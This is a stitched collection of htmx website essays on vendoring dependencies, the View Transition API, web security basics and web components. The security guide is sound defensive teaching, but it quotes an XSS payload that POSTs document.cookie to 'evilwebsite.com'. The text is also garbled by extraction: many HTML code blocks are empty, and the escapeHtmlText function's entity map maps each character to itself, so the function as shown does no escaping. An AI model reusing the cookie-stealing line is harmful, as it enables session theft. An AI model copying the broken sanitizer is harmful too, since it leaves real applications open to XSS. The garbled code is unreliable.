That was a relatively innocuous, although splashy, issue, but a more serious concern is
[supply chain attacks](https://en.wikipedia.org/wiki/Supply_chain_attack), where a hostile entity is able to compromise
a company via code injected unwittingly via dependencies.
The larger our dependency graph gets, the worse these problems get.
## Dependencies Reconsidered
I'm not the only person thinking about our culture of dependency. Here's what some other, smarter folks have to say
about it:
[Armin Ronacher](https://x.com/mitsuhiko), creator of [flask](https://flask.palletsprojects.com/en/stable/)
recently said this on [the ol'twits](https://x.com/mitsuhiko/status/1882739157120041156):
> The more I build software, the more I despise dependencies. I greatly prefer people copy/pasting stuff into their own
> code bases or re-implement it. Unfortunately the vibe of the time does not embrace that idea much. I need that vibe
> shift.
He also wrote a great blog post about his
[experience with package management](https://lucumr.pocoo.org/2025/1/24/build-it-yourself/) in the Rust ecosystem:
> It's time to have a new perspective: we should give kudos to engineers who write a small function themselves instead
> of hooking in a transitive web of crates. We should be suspicious of big crate graphs. Celebrated are the minimal
> dependencies, the humble function that just quietly does the job, the code that doesn't need to be touched for years
> because it was done right once.
Please go read it in full.
Back in 2021, [Tom Macwright](https://macwright.com) wrote this in
[Vendor by default](https://macwright.com/2021/03/11/vendor-by-default)
> But one thing that I do think is sort of unusual is: I’m vendoring a lot of stuff.
>
> Vendoring, in the programming sense, means “copying the source code of another project into your project.” It’s in
> contrast to the practice of using dependencies, which would be adding another project’s name to your package.json
> file and having npm or yarn download and link it up for you.
I highly recommend reading his take on vendoring as well.
## Software Designed To Be Vendored
Some good news, if you are an open source developer and like the idea of vendoring, is that there is a simple way to
make your software vendor-friendly: remove as many dependencies as you can.
[DaisyUI](https://daisyui.com/), for example, has been in the process of
[removing their dependencies](https://x.com/Saadeghi/status/1882556881253826941), going from 100 dependencies in
version 3 to 0 in version 5.
There is also a set htmx-adjacent projects that are taking vendoring seriously:
* [Surreal](https://github.com/gnat/surreal) - a lightweight jQuery alternative
* [Facet](https://github.com/kgscialdone/facet) - an HTML-oriented Web Component library
* [fixi](https://github.com/bigskysoftware/fixi) - a minimal htmx alternative
None of these JavaScript projects are available in NPM, and all of them [recommend](https://github.com/gnat/surreal#-install)
[vendoring](https://github.com/kgscialdone/facet#installation) the [software](https://github.com/bigskysoftware/fixi#installing)
into your own project as the primary installation mechanism.
## Vendor First Dependency Managers?
The last thing I want to briefly mention is a technology that combines both vendoring and dependency management:
vendor-first dependency managers. I have never worked with one before, but I have been pointed to
[vend](https://github.com/fosskers/vend), a common lisp vendor oriented package manager (with a great README), as well
as [go's vendoring option](https://go.dev/ref/mod#vendoring).
In writing this essay, I also came across [vendorpull](https://github.com/sourcemeta/vendorpull) and
[git-vendor](https://github.com/brettlangdon/git-vendor), both of which are small but interesting projects.
These all look like excellent tools, and it seems to me that there is an opportunity for some of them (and tools like
them) to add additional functionality to address the traditional weaknesses of vendoring, for example:
* Managing transitive dependencies, if any
* Relatively easy updates of those dependencies
* Managing local modifications made to dependencies (and maybe help manage contributing them upstream?)
With these additional features I wonder if vendor-first dependency managers could compete with "normal" dependency
managers in modern software development, perhaps combining some of the benefits of both approaches.
Regardless, I hope that this essay has helped you think a bit more about dependencies and perhaps planted the idea that
maybe your software could be a little less, well, dependent on dependencies.
---
# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/essays/view-transitions.md
+++
template = "demo.html"
title = "View Transitions"
description = """\
Carson Gross explores the evolution of web applications and the significance of view transitions in improving user \
experience. He discusses the limitations of traditional web design, where full-page refreshes create an unpleasant \
experience, and how modern technologies like CSS transitions and the View Transition API aim to enhance aesthetic \
smoothness. Carson explains how htmx leverages the View Transition API to bring seamless transitions to \
hypermedia-driven applications, offering an alternative to single-page applications (SPAs) and highlighting its \
potential once widely available in HTML."""
date = 2023-04-11
authors = ["Carson Gross"]
[taxonomies]
tag = ["posts"]
+++
We have asserted, for a while now, that a major reason that many people have adopted the SPA architecture for web applications
is due to aesthetic considerations.
As we mention in our book [Hypermedia Systems](https://hypermedia.systems), when
discussing the Web 1.0-style contact management application we begin with, there are serious _aesthetic_ issues with
the application, even if it has feature-parity with an SPA version:
> From a user experience perspective: there is a noticeable refresh when you move between pages of the application, or when you create, update or
> delete a contact. This is because every user interaction (link click or form submission) requires a full page
> refresh, with a whole new HTML document to process after each action.
>
> *–Hypermedia Systems - [Chapter 4](https://hypermedia.systems/extending-html-as-hypermedia/)*
This jarring "ka-chunk" between webpages, often with a [Flash of Unstyled Content](https://webkit.org/blog/66/the-fouc-problem/)
has been with us forever and, while modern browsers have improved the situation somewhat (while, unfortunately, also making
it less obvious that a request is in flight) the situation is still bad, particularly when compared with what a well-crafted
SPA can achieve.
Now, early on in the life of the web, this wasn't such a big deal. We had stars flying around dinosaurs _in the browser's toolbar_,
flaming text, table-based layouts, dancing babies and so forth, and we were largely comparing the web with things like
ftp clients.
The bar was _low_ and the times were _good_.
Alas, the web has since put away such childish things, and now we are expected to present polished, attractive interfaces
to our users, _including_ smooth transitions from one view state to another.
Again, we feel this is why many teams default to the SPA approach: the old way just seems... clunky.
## CSS Transitions
The early web engineers realized that web developers would like to provide smooth transitions between different view states
and have offered various technologies for achieving this. A major one is [CSS Transitions](https://developer.mozilla.org/en-US/docs/Web/CSS/transition),
which allow you to specify a mathematical _transition_ from one state to another.
Unfortunately for HTML, CSS transitions are only available if you use JavaScript: you have to change elements dynamically
in order to trigger the transitions, which "vanilla" HTML can't do. In practice, this meant that only the cool kids
using JavaScript to build SPAs got to use these tools, further cementing the _aesthetic superiority_ of SPAs.
htmx, as you probably know, makes CSS Transitions [available in plain HTML](https://htmx.org/examples/animations/) via
a somewhat elaborate [swapping model](https://htmx.org/docs/#request-operations) where we take elements that are in both
the old and new content and "settle" attributes on them. It's a neat trick and can be used to make hypermedia-driven
application feel as buttery-smooth as well done SPA.
However, there is a new kid on the block: [The View Transition API](https://developer.chrome.com/docs/web-platform/view-transitions/)
## The View Transition API
The View Transition API is much more ambitious than CSS transitions in that it is attempting to provide a simple, intuitive
API for transitioning an _entire DOM_ from one state to another in a way that mere mortals can take advantage of.
Furthermore, this API is supposed to be available not only in JavaScript, but also for plain old links and forms in HTML as well,
making it possible to build _much nicer_ user interfaces using the Web 1.0 approach.
It will be fun to revisit the Contact application in "Hypermedia Systems" when this functionality is available!
As of this writing, however, the API is, like CSS Transitions, only available in JavaScript, and its only been just
released in Chrome 111+.
In JavaScript, The API could not be more simple:
```js
// this is all it takes to get a smooth transition from one
// state to another!
document.startViewTransition(() => updateTheDOMSomehow(data));
```
Now, that's my kind of API.
As luck would have it, it's trivial to wrap this API around the regular htmx swapping model, which allows us to
start exploring View Transitions in htmx, even before it's generally available in HTML!
And, as of [htmx 1.9.0](https://cdn.jsdelivr.net/npm/htmx.org@1.9.0), you can start experimenting with the API by adding the
`transition:true` attribute to an [`hx-swap`](/attributes/hx-swap) attribute.
## A Practical Example
So let's look at a simple example of this new shiny toy coupled with htmx.
Doing so will involve two parts:
* Defining our View Transition animation via CSS
* Adding a small annotation to an htmx-powered button
### The CSS
The first thing that we need to do is define the View Transition animation that we want.
* Define some animations using @keyframes to slide and fade content
* Define a view transition with the name `slide-it` using the `:view-transition-old()` and `:view-transition-new()` pseudo-selectors
* Tie the `.sample-transition` class to the `slide-it` view transition that we just defined, so we can bind it to elements via a that CSS class name
(Fuller details on the View Transition API can be found on the [Chrome Developer Page](https://developer.chrome.com/docs/web-platform/view-transitions/)
documenting them.)
```html
```
This CSS sets it up such that content with the `.sample-transition` class on it will fade out and slide to the left when
it is removed, and new content will fade in and slide in from the right.
### The HTML
With our View Transition defined via CSS, the next thing to do is to tie this View Transition to an actual element that
htmx will mutate, and to specify that htmx should take advantage of the View Transition API:
```html
Initial Content
Swap It!
```
Here we have a button that issues an `GET` to get some new content, and that replaces the closest div's inner HTML
with the response.
That div has the `sample-transition` class on it, so the View Transition defined above will apply to it.
Finally, the `hx-swap` attribute includes the option, `transition:true`, which is what tells htmx to use the
internal View Transition JavaScript API when swapping.
## Demo
With all that tied together, we are ready to start using the View Transition API with htmx. Here's a demo, which
should work in Chrome 111+ (other browsers will work fine, but won't get the nice animation):
Initial Content
Swap It!
Assuming you are looking at this page in Chrome 111+, you should see the content above slide gracefully out to the
left and be replaced by new content sliding in from the right. Nice!
## Conclusion
Hey now, that's pretty neat, and, once you get your head around the concept, not all that much work! This new API
shows a lot of promise.
View Transitions are an exciting new technology that we feel can dramatically level the playing field between
[Hypermedia Driven Applications](https://htmx.org/essays/hypermedia-driven-applications/) and the more prevalent SPA
architecture used today.
By doing away with the ugly "ka-chunk" of Web 1.0 applications, the aesthetic advantages of the
SPA approach will be diminished, and we can make decisions less around "sizzle" and focus more on the actual [technical
tradeoffs](https://htmx.org/essays/when-to-use-hypermedia/) associated with various architectures.
We are looking forward to when View Transitions are available in vanilla HTML, but, until then, you can start playing
with them in htmx, today!
---
# Source: https://github.com/bigskysoftware/htmx/blob/master/www/content/essays/web-security-basics-with-htmx.md
+++
title = "Web Security Basics (with htmx)"
description = """\
This guide by Alexander Petros provides essential web security best practices for building applications with htmx, \
focusing on safe handling of dynamic, user-generated content. It covers fundamental principles such as using only \
trusted routes, employing auto-escaping template engines, and securing cookies to prevent common vulnerabilities \
like Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF). Aimed at developers familiar with backend \
server construction, it emphasizes security techniques that are easy to implement and crucial for protecting user \
data in dynamic web applications."""
date = 2024-02-06
authors = ["Alexander Petros"]
[taxonomies]
tag = ["posts"]
+++
As htmx has gotten more popular, it's reached communities who have never written server-generated HTML before. Dynamic HTML templating was, and still is, the standard way to use many popular web frameworks—like Rails, Django, and Spring—but it is a novel concept for those coming from Single-Page Application (SPA) frameworks—like React and Svelte—where the prevalence of JSX means you never write HTML directly.
But have no fear! Writing web applications with HTML templates is a slightly different security model, but it's no harder than securing a JSX-based application, and in some ways it's a lot easier.
## Who is guide this for?
These are web security basics with htmx, but they're (mostly) not htmx-specific—these concepts are important to know if you're putting *any* dynamic, user-generated content on the web.
For this guide, you should already have a basic grasp of the semantics of the web, and be familiar with how to write a backend server (in any language). For instance, you should know not to create `GET` routes that can alter the backend state. We also assume that you're not doing anything super fancy, like making a website that hosts other people's websites. If you're doing anything like that, the security concepts you need to be aware of far exceed the scope of this guide.
We make these simplifying assumptions in order to target the widest possible audience, without including distracting information—obviously this can't catch everyone. No security guide is perfectly comprehensive. If you feel there's a mistake, or an obvious gotcha that we should have mentioned, please reach out and we'll update it.
## The Golden Rules
Follow these four simple rules, and you'll be following the client security best practices:
1. Only call routes you control
2. Always use an auto-escaping template engine
3. Only serve user-generated content inside HTML tags
4. If you have authentication cookies, set them with `Secure`, `HttpOnly`, and `SameSite=Lax`
In the following section, I'll discuss what each of these rules does, and what kinds of attack they protect against. The vast majority of htmx users—those using htmx to build a website that allows users to login, view some data, and update that data—should never have any reason to break them.
Later on I will discuss how to break some of these rules. Many useful applications can be built under these constraints, but if you do need more advanced behavior, you'll be doing so with the full knowledge that you're increasing the conceptual burden of securing your application. And you'll have learned a lot about web security in the process.
## Understanding the Rules
### Only call routes you control
This is the most basic one, and the most important: **do not call untrusted routes with htmx.**
In practice, this means you should only use relative URLs. This is fine:
```html
Search events
```
But this is not:
```html
Search events
```
The reason for this is simple: htmx inserts the response from that route directly into the user's page. If the response has a malicious `
```
Fortunately this one is so easy to fix that you can write the code yourself. Whenever you insert untrusted (i.e. user-provided) data, you just have to replace eight characters with their non-code equivalents. This is an example using JavaScript:
```js
/**
* Replace any characters that could be used to inject a malicious script in an HTML context.
*/
export function escapeHtmlText (value) {
const stringValue = value.toString()
const entityMap = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
'/': '/',
'`': '`',
'=': '='
}
// Match any of the characters inside /[ ... ]/
const regex = /[&<>"'`=/]/g
return stringValue.replace(regex, match => entityMap[match])
}
```
This tiny JS function replaces `<` with `<`, `"` with `"`, and so on. These characters will still render properly as `<` and `"` when they're used in the text, but can't be interpreted as code constructs. The previous malicious bio will now be converted into the following HTML:
```html
<script>
fetch('evilwebsite.com', { method: 'POST', data: document.cookie })
</script>
```
which displays harmlessly as text.
Fortunately, as established above, you don't have to do your escaping manually—I just wanted to demonstrate how simple these concepts are. Every template engine has an auto-escaping feature, and you're going to want to use a template engine anyway. Just make sure that escaping is enabled, and send all your HTML through it.
### Only serve user-generated content inside HTML tags
This is an addendum to the template engine rule, but it's important enough to call out on its own. Do not allow your users to define arbitrary CSS or JS content, even with your auto-escaping template engine.
```html
```
And, don't use user-defined attributes or tag names either:
```html
<{{ user.tag }}>{{ user.tag }}>
{{ user.name }}
```
CSS, JavaScript, and HTML attributes are ["dangerous contexts,"](https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html#dangerous-contexts) places where it's not safe to allow arbitrary user input, even if it's escaped. Escaping will protect you from some vulnerabilities here, but not all of them; the vulnerabilities are varied enough that it's safest to default to not doing *any* of these.
Inserting user-generated text directly into a script tag should never be necessary, but there *are* some situations where you might let users customize their CSS or customize HTML attributes. Handling those properly will be discussed down below.
## Secure your cookies
The best way to do authentication with htmx is using cookies. And because htmx encourages interactivity primarily through first-party HTML APIs, it is usually trivial to enable the browser's best cookie security features. These three in particular:
* `Secure` - only send the cookie via HTTPS, never HTTP
* `HttpOnly` - don't make the cookie available to JavaScript via `document.cookie`
* `SameSite=Lax` - don't allow other sites to use your cookie to make requests, unless it's just a plain link
To understand what these protect you against, let's go over the basics. If you come from JavaScript SPAs, where it's common to authenticate using the `Authorization` header, you might not be familiar with how cookies work. Fortunately they're very simple. (Please note: this is not an "authentication with htmx" tutorial, just an overview of cookie tokens generally)
If your users log in with a `
```
That will give us this table:
Name
Carousel
Roller Coaster
Alex
Sophia
Save
That's not too bad!
The save button will submit all the data in the table, and the server will respond with a new table that reflects the updated state.
We can also use CSS to make the ``s fit our design language.
But it's easy to see how this could start to get unwieldy—with more columns, more rows, and more options in each cell, sending all that information each time starts to get costly.
Let's remove all that redundancy with a web component!
```html
```
We still have an entirely declarative [HATEOAS](https://htmx.org/essays/hateoas/) interface—both current state (the `value` attribute) and possible actions on that state (the `